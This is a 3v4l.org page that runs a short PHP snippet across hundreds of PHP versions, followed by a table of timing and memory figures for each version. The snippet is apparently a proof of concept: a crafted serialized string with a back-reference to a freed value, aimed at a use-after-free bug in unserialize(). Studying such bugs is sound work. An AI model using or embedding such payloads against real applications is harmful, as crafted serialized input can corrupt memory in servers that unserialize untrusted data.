3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj implements Serializable { private $data; public function serialize() { } public function unserialize($data) { $this->data = unserialize($data); $this->data = 1; } } $inner = 'a:0:{}'; $exploit = 'a:2:{i:0;C:3:"obj":' . strlen($inner) . ':{' . $inner . '}i:1;R:3;}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi' . $i; } var_dump($data);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0110.00416.63
8.3.50.0130.00718.05
8.3.40.0070.00719.02
8.3.30.0060.00919.02
8.3.20.0000.00720.29
8.3.10.0040.00421.93
8.3.00.0100.00019.38
8.2.180.0110.01116.63
8.2.170.0100.00722.96
8.2.160.0140.00020.35
8.2.150.0040.00424.18
8.2.140.0070.00024.66
8.2.130.0040.00426.16
8.2.120.0040.00417.50
8.2.110.0090.00322.30
8.2.100.0040.00817.93
8.2.90.0000.00819.30
8.2.80.0050.00517.97
8.2.70.0060.00317.50
8.2.60.0050.00317.93
8.2.50.0080.00018.07
8.2.40.0000.00821.19
8.2.30.0050.00320.55
8.2.20.0040.00417.80
8.2.10.0040.00418.05
8.2.00.0000.00718.04
8.1.280.0120.00325.92
8.1.270.0060.00323.98
8.1.260.0050.00326.35
8.1.250.0040.00428.09
8.1.240.0060.00322.61
8.1.230.0090.00419.44
8.1.220.0040.00417.74
8.1.210.0040.00418.77
8.1.200.0030.00617.35
8.1.190.0050.00317.36
8.1.180.0030.00518.10
8.1.170.0000.00920.30
8.1.160.0040.00422.02
8.1.150.0040.00418.89
8.1.140.0040.00419.51
8.1.130.0030.00517.72
8.1.120.0000.00817.47
8.1.110.0050.00317.45
8.1.100.0000.00717.48
8.1.90.0060.00317.46
8.1.80.0000.00817.50
8.1.70.0030.00317.48
8.1.60.0000.00817.59
8.1.50.0060.00317.50
8.1.40.0000.00817.51
8.1.30.0050.00317.67
8.1.20.0040.00417.57
8.1.10.0040.00417.56
8.1.00.0030.00617.53
8.0.300.0040.00418.77
8.0.290.0000.00716.73
8.0.280.0070.00018.51
8.0.270.0030.00317.23
8.0.260.0030.00317.22
8.0.250.0040.00416.92
8.0.240.0070.00017.05
8.0.230.0050.00316.93
8.0.220.0030.00317.00
8.0.210.0040.00416.97
8.0.200.0030.00316.92
8.0.190.0040.00416.92
8.0.180.0000.00716.96
8.0.170.0000.00716.93
8.0.160.0040.00417.02
8.0.150.0070.00016.95
8.0.140.0030.00316.90
8.0.130.0040.00413.38
8.0.120.0040.00417.02
8.0.110.0000.00716.98
8.0.100.0000.00717.01
8.0.90.0000.00716.97
8.0.80.0040.01116.92
8.0.70.0000.00716.88
8.0.60.0040.00417.03
8.0.50.0000.00816.87
8.0.30.0130.00617.31
8.0.20.0140.00617.40
8.0.10.0070.00016.95
8.0.00.0120.00816.83
7.4.330.0000.00615.08
7.4.320.0000.00716.52
7.4.300.0000.00616.52
7.4.290.0000.00716.65
7.4.280.0000.00716.57
7.4.270.0000.00716.60
7.4.260.0000.00716.59
7.4.250.0040.00416.48
7.4.240.0050.00216.60
7.4.230.0030.00316.73
7.4.220.0090.00916.46
7.4.210.0150.00616.70
7.4.200.0000.00716.50
7.4.160.0000.01416.46
7.4.150.0140.00417.40
7.4.140.0140.00717.86
7.4.130.0090.01016.64
7.4.120.0080.01016.48
7.4.110.0150.00316.56
7.4.100.0130.00316.56
7.4.90.0090.00916.59
7.4.80.0120.01119.39
7.4.70.0050.01116.52
7.4.60.0170.00016.61
7.4.50.0080.00016.71
7.4.40.0110.00616.60
7.4.30.0070.01116.56
7.4.00.0090.00615.25
7.3.330.0050.00013.32
7.3.320.0000.00513.36
7.3.310.0070.00016.47
7.3.300.0020.00516.41
7.3.290.0050.00916.38
7.3.280.0090.00716.37
7.3.270.0240.00017.40
7.3.260.0070.01016.43
7.3.250.0110.00816.40
7.3.240.0040.01316.34
7.3.230.0130.00316.60
7.3.210.0060.01116.50
7.3.200.0100.00616.36
7.3.190.0030.01416.47
7.3.180.0090.00916.51
7.3.170.0030.01716.48
7.3.160.0060.01116.46
7.2.330.0030.01316.72
7.2.320.0110.01116.76
7.2.310.0140.00316.67
7.2.300.0040.01316.52
7.2.290.0090.00916.65
7.2.60.0110.00316.85
7.2.00.0060.00919.23
7.1.200.0050.00515.86
7.1.100.0060.00618.20
7.1.70.0050.00317.24
7.1.60.0100.01319.13
7.1.50.0120.00317.00
7.1.00.0030.07722.29
7.0.200.0070.00714.63
7.0.60.0030.08319.98
7.0.50.0070.04017.82
7.0.40.0130.08019.87
7.0.30.0270.07719.91
7.0.20.0300.04019.98
7.0.10.0270.07019.80
7.0.00.0030.08719.71
5.6.280.0030.03320.93
5.6.210.0070.08020.47
5.6.200.0070.06718.22
5.6.190.0030.07720.48
5.6.180.0000.05720.48
5.6.170.0230.03720.45
5.6.160.0030.04020.48
5.6.150.0000.04718.27
5.6.140.0070.03718.16
5.6.130.0070.05018.14
5.6.120.0100.05720.97
5.6.110.0070.04020.99
5.6.100.0100.07320.98
5.6.90.0170.07020.88
5.6.80.0070.07720.44
5.6.70.0370.06720.40
5.5.350.0000.06020.48
5.5.340.0100.04717.94
5.5.330.0130.04320.23
5.5.320.0070.06020.34
5.5.310.0300.04720.34
5.5.300.0070.06717.91
5.5.290.0070.05717.95
5.5.280.0030.04320.96
5.5.270.0030.08320.79
5.5.260.0100.03720.79
5.5.250.0170.05720.73
5.5.240.0000.04020.27
5.4.450.0100.08319.60
5.4.440.0270.06719.58
5.4.430.0200.06019.47
5.4.420.0130.06719.26
5.4.410.0200.06019.32
5.4.400.0000.06719.00
5.4.390.0170.06319.24
5.4.380.0200.05319.11
5.4.370.0530.06719.09
5.4.360.0770.07019.15
5.4.350.0370.06719.30
5.4.340.0100.06319.37
5.4.320.0230.06719.11
5.4.310.0270.05319.30
5.4.300.0400.05319.22
5.4.290.0100.06719.13
5.4.280.0200.05319.29
5.4.270.0130.06018.99
5.4.260.0130.05719.15
5.4.250.0170.07019.10
5.4.240.0300.05318.93
5.4.230.0070.06019.27
5.4.220.0170.06019.13
5.4.210.0130.06018.80
5.4.200.0200.05019.10
5.4.190.0030.06319.13
5.4.180.0330.05719.24
5.4.170.0300.06319.05
5.4.160.0230.06018.75
5.4.150.0270.06019.23
5.4.140.0200.05016.45
5.4.130.0200.05316.32
5.4.120.0230.05716.30
5.4.110.0070.07016.61
5.4.100.0100.05016.54
5.4.90.0330.03316.20
5.4.80.0100.05716.26
5.4.70.0170.05016.60
5.4.60.0300.05316.17
5.4.50.0230.04716.61
5.4.40.0170.05316.59
5.4.30.0230.03716.58
5.4.20.0200.05016.40
5.4.10.0300.05316.59
5.4.00.0670.05315.98

preferences:
59.73 ms | 400 KiB | 5 Q